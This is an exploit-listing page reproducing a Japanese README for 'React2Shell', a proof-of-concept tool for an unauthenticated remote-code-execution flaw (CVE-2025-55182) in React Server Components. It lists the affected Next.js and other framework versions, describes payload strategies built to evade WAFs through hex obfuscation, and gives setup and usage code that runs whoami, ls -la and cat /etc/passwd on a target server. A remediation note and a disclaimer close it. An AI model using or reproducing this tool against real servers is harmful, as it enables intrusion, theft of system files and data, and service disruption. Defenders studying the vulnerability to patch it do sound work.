Sploitus

Exploit for CVE-2025-55182-React2Shell

kitploit · 2026-09-03

Exploit Code

MARKDOWN207 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-RSCH-IO-CVE-2025-55182-REACT2SHELL
# React2Shell

![Language](https://img.shields.io/badge/Language-JavaScript-yellow?style=flat-square) ![CVE](https://img.shields.io/badge/2025--55182%20CRITICAL-red?style=flat-square&label=CVE) ![CVSS](https://img.shields.io/badge/CVSS_Score-10.0-black?style=flat-square) ![Target](https://img.shields.io/badge/Target-React_Server_Components-blue?style=flat-square) ![License](https://img.shields.io/badge/License-MIT-green?style=flat-square)

**React2Shell** は、**React Server Components** (`RSC`)を利用する最新のWebフレームワークにおける`CRITICAL`なリモートコード実行(`RCE`)の脆弱性を示す概念実証(`PoC`)エクスプロイトです。

このPoCは、**`CVE-2025-55182`** (`CVSS 10.0`)を対象としています。この脆弱性により、**認証されていないリモートの攻撃者** が、React Server Components の実装内での安全でないデシリアライゼーションを介して任意のシステムコマンドを実行できます。

* * *

## 🔍 脆弱性の概要

**React2Shell** は、React Server Components が**再水和(rehydration)**フェーズ中に信頼できない入力を処理する際の欠陥を悪用します。

この脆弱性は、コンポーネントツリーのシリアライズおよびデシリアライズを担う基盤となる `react-server-dom-*` パッケージに起因します。

* * *

## 💥 影響

影響を受けるバージョンの React Server Components を使用するアプリケーションは、悪意のあるペイロードを処理することで、サーバープロセスの権限で**リモートコード実行(`RCE`)**につながる可能性があります。

攻撃者は以下を実行できます:

  * 任意のシステムコマンドの実行
  * 内部インフラストラクチャへの侵入(ピボット)
  * 機密データの窃取
  * サービス可用性の妨害



デプロイ環境が下記の脆弱なバージョンのいずれかに該当し、RSC エンドポイントを公開している場合、あなたは**`vulnerable`**(脆弱)です。

* * *

## 📦 影響を受けるコンポーネント

この脆弱性は、以下のバージョン `19.0.0`、`19.1.0`、`19.1.1`、`19.2.0` に存在します:

  * `react-server-dom-parcel`
  * `react-server-dom-webpack`
  * `react-server-dom-turbopack`



* * *

## 🎯 影響を受けるフレームワークとバージョン

これらのパッケージは、複数のフレームワークにバンドルされています。例として以下が挙げられますが、これらに限定されません:

  * **Next.js**
    * バージョン `15.0.0` から `16.0.6`
    * `14.3.0-canary.76` より後の Canary バージョン
  * **`RSC`(`v19.0.0`–`19.2.0`)を使用するその他のフレームワーク**。例: 
    * `Vite`
    * `Parcel`
    * `React Router`
    * `RedwoodSDK`
    * `Waku`



脆弱な React Server Components 実装を組み込んでいるフレームワークはすべて、影響を受ける可能性があります。

* * *

## 🛠 機能と特徴

React2Shell には、一般的な Node.js の制限や WAF ルールを回避するために設計されたモジュール式ペイロードジェネレーターが含まれています:

  * **標準インジェクション(Standard Injection)**

    * `process.mainModule.require` を使用
    * デフォルトの `Next.js` / Webpack バンドルを対象
  * **非同期バイパス(Async Bypass)**

    * `require` が利用できない厳格な ESM 環境向けに、動的 `import()` を使用
  * **難読化(Obfuscation)**

    * 機密文字列(例: `child_process`)を16進バッファにエンコードし、単純な WAF シグネチャを回避
  * **モジュールフォールバック(Module Fallback)**

    * `module.createRequire` を活用して、代替コンテキストでモジュールをロード
  * **ユニバーサルターゲティング(Universal Targeting)**

    * 設定可能なエンドポイント: 
      * Next.js: ルート `/`
      * Waku: `/RSC/foo.txt` などの RSC エンドポイント



* * *

## 🚀 インストール

### 前提条件

  * `Node.js` **v18.0.0** 以上



### セットアップ

root@kitploit:~
    
    
    git clone https://github.com/rsch-io/CVE-2025-55182-React2Shell.git
    cd CVE-2025-55182-React2Shell
    
    npm install form-data
    

* * *

## 📖 使用方法

React2Shell は、独自のテストスクリプトにモジュールとしてインポートして使用することを想定しています。

### 1\. 基本的なエクスプロイト(Next.js ターゲット)

`exploit.js` という名前のファイルを作成します:

root@kitploit:~
    
    
    const React2Shell = require('./src/react2shell');
    
    // Initialize with target base URL
    const target = new React2Shell('http://localhost:3000');
    
    // Execute command using the "standard" strategy
    // Arguments: execute(command, endpoint, strategy)
    target.execute('whoami', '/', 'standard');
    

次に実行します:

root@kitploit:~
    
    
    node exploit.js
    

> **注意**
> 
>   * `endpoint` は、RSC が有効なルート(例: `/`、`/RSC/foo.txt`、またはフレームワーク固有の RSC エンドポイント)に設定してください。
>   * `strategy` は変更できます(例: `standard`、`async`、`obfuscated`、または `react2shell` に実装されている他のストラテジー)。
> 


* * *

### 2\. Waku / カスタムエンドポイントをターゲットにする

Waku やその他のフレームワークは、多くの場合、特定のルートで RSC 処理を公開しています:

root@kitploit:~
    
    
    // Target a Waku application
    // Note: Use 'async' strategy as Waku often runs in strict ESM
    target.execute('ls -la', '/RSC/foo.txt', 'async');
    

* * *

### 3\. WAF 回避モード

サーバーが `child_process` を含む文字列をブロックする場合は、`obfuscated` ストラテジーを使用できます:

root@kitploit:~
    
    
    target.execute('cat /etc/passwd', '/', 'obfuscated');
    

* * *

## 🛡️ 解決策と修復

`直ちに更新してください。` 更新版の React および影響を受ける下流フレームワークのリリースには、意図しない動作を防ぐためのユーザー入力処理の強化が含まれています。  
すべてのユーザーは、できるだけ早く**パッチ適用済み** バージョンへアップグレードしてください。

### ✅ 修正済みバージョン一覧

以下は、パッチ適用済みバージョンの最終的なリストです。デプロイ中のバージョンがこれらより低い場合、あなたは**`vulnerable`**(脆弱)です。

> **Next.js 14 ユーザーへの警告**  
>  `Next.js 14.3.0-canary.77` 以降の Canary リリースを使用している場合、あなたは**`vulnerable`**(脆弱)です。  
>  この脆弱性はそれらの Canary ビルドに含まれる実験的な RSC 実装に影響するため、直ちに最新の安定版 `14.x` リリースへダウングレードする必要があります。

* * *

## ⚠️ 免責事項

このプロジェクトは、**`教育目的`および許可されたセキュリティテストのみ**を目的として提供されています。  
明示的な許可なしにこのツールをシステムに対して使用することは、違法かつ非倫理的です。

著者は、このツールによって引き起こされた誤用や損害について**一切の責任を負いません** 。

* * *

## 📄 ライセンス

このプロジェクトは**MIT License** の下でライセンスされています。詳細については、`LICENSE` ファイルを参照してください。